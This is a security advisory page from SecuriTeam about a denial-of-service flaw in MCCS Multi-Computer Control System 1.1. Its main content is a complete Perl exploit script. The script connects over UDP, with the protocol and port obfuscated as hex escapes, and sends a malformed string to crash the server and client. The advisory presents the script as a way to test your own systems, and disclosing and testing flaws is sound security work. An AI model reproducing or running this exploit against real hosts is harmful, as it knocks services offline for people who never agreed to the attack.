SecuriTeam - MCCS Server and Client Command DoS (Exploit)

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Hack In Paris

MCCS "allows you can control up to 15 computers with single mouse / keyboard. Also, the clipboard is transfered from one computer to another when you navigate. No need for expansive KVM switch. (Keyboard, Video, Mouse switch). You can be more productive in your tasks. ".

Lack of proper input validation allows attacker to cause a DoS condition within MCCS, the following exploit code can be used to test your systems for the mentioned vulnerability.

Credit:
The information has been provided by basher13.
The original article can be found at: http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=93

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Vulnerable Systems:
* MCCS Multi-Computer Control System version 1.1

Exploit:
#!usr/bin/perl
#
# MCCS Server\Client Command DOS Exploit
# --------------------------------------
# Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: www.xclusive-software.com
#

use IO::Socket;

print("\n MCCS Command DOS Exploit\n");
print("-----------------------------\n");

$str = "\x41";
if($#ARGV < 0 | $#ARGV > 1) {
die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n" };

$adr = $ARGV[0];
$prt = "\x38\x30";

print "[+] Connect to host..\n";
sleep 2;
$remote = IO::Socket::INET->new(Proto=>"\x75\x64\x70", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to $adr:$prt\n";
print "[+] Connected\n";
$remote->autoflush(1);
print "[+] Sending bad string..\n";
sleep 2;
print $remote "$str" or die "[-] Error: can't send string code\n";
print "[*] Client Server SHUTDOWNED!\n\n";
print "press any key to exit..\n";
$bla= <STDIN>;
close $remote;

#EoF

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